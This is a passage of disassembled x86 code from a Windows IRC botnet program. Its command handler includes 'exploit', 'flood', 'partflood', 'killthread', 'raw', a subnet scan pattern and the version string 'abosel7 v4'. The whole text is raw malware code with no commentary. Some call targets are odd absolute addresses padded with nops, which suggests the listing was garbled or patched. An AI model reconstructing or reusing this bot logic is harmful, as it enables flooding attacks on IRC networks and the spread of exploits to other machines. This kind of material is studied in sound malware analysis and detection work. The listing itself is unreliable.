call near ptr 26C0CC8h
push eax
push offset dword_42BC58
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4046DB: ; CODE XREF: sub_401ACD+FFDj
; sub_401ACD+1012j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046FB
push esi
call sub_41C159
test ax, ax
pop ecx
jz short loc_4046FB
push esi
call sub_41C159
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C360
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409869
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset dword_40EF1C
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
nop
call near ptr 26C04BFh
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
call near ptr 26C0CC8h
nop
push eax
push offset unk_42BBEC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset dword_42BBB8
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 26C04BFh
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
nop
call near ptr 26C0CC8h
push eax
push offset dword_42BB7C
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB2C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB1C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404971
push esi
call sub_41C159
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BAC4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD50
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
nop
call near ptr 77E75CB5h
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet ; "get"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF180, ebx
jz short loc_404A01
push offset dword_4CEB60
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA88
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA14
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A7B
push offset unk_42BA48
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset dword_4CEB60
call sub_41C890
pop ecx
mov dword_4CF180, 1
pop ecx
push edi
push offset unk_42BA1C
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi
push 10h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9E4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset byte_40BB65
push ebx
push ebx
nop
call near ptr 26C051Eh
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 26C04BFh
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
nop
call near ptr 26C0CC8h
push eax
push offset unk_42B9A4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
push edi
push offset aLoad ; "load"
call sub_41CA50
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417E06
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B93C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi
push offset dword_42B920
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B90C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi
push offset aNt ; "nt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi
push offset aPartflood ; "partflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi
push offset aPnick ; "pnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+var_88], ebx
jz short loc_404F92
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42B89C
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi
push offset dword_42B888
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+var_88], ebx
jz loc_4050E9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427620
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call near ptr 26C04BFh
nop
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 0C8h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi
push offset dword_42B884
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz short loc_405181
call near ptr 26D0CBDh
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B85C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 26C04BFh
nop
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 1F4h
idiv ecx
push edx
nop
call near ptr 26C04BFh
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi
push offset aChgnick ; "chgnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi
push offset aMsg ; "msg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+var_88], ebx
jz loc_4053C3
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+var_88], ebx
jz loc_4054B8
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
call near ptr 26C04BFh
nop
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi
push offset aCtcp ; "ctcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+var_88], ebx
jz loc_4055D9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 26C04BFh
nop
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7FC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi
push offset aMix ; "mix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+var_88], ebx
jz loc_405709
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 26C04BFh
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi
push offset aRegister ; "register"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A5C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA6C
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DB17C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx
push [ebp+var_4]
push offset unk_42B784
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aN ; "n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41CA50
